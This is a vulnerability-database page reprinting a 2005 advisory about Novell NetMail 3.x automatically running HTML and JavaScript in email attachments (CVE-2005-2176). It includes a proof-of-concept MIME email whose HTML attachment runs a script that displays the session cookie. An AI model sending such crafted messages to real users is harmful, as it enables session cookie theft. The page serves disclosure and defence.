Novell NetMail 3.x - Automatic Script Execution

🗓️ 06 Jul 2005 00:00:00Reported by [email protected]Type

Novell NetMail 3.x vulnerability in automatic script executio

Reporter	Title	Published	Views	Family All 4
CVE	CVE-2005-2176	9 Jul 200504:00	–	cve
Cvelist	CVE-2005-2176	9 Jul 200504:00	–	cvelist
EUVD	EUVD-2005-2177	7 Oct 202500:30	–	euvd
NVD	CVE-2005-2176	9 Jul 200504:00	–	nvd

source: https://www.securityfocus.com/bid/14171/info

Novell NetMail email client is prone to an input validation vulnerability.

Reports indicate that HTML and JavaScript attached to received email messages is executed automatically, when the email message is viewed.

A successful attack may allow the attacker to obtain session cookies and carry out other attacks.

All versions are considered to be vulnerable at the moment.

Content-Type: multipart/mixed; boundary="=_mixed 00279444C2257036_="

--=_mixed 00279444C2257036_=
Content-Type: text/html; charset="US-ASCII"


<br><font size=2 face="sans-serif">hi there</font>
<br>
--=_mixed 00279444C2257036_=
Content-Type: text/html; name="malxxx.html"
Content-Disposition: attachment; filename="malxxx.html"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<title>Test XSS of uploaded documents</title>
<META http-equiv=Content-Type content="text/html; charset=iso-8859-1">

</HEAD>
<BODY>
<SCRIPT>
document.write('The cookie is:<br> ' + document.cookie + '<p>');
</SCRIPT>
</BODY></HTML>
--=_mixed 00279444C2257036_=--

05 Jun 2013 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 26.4

EPSS0.03502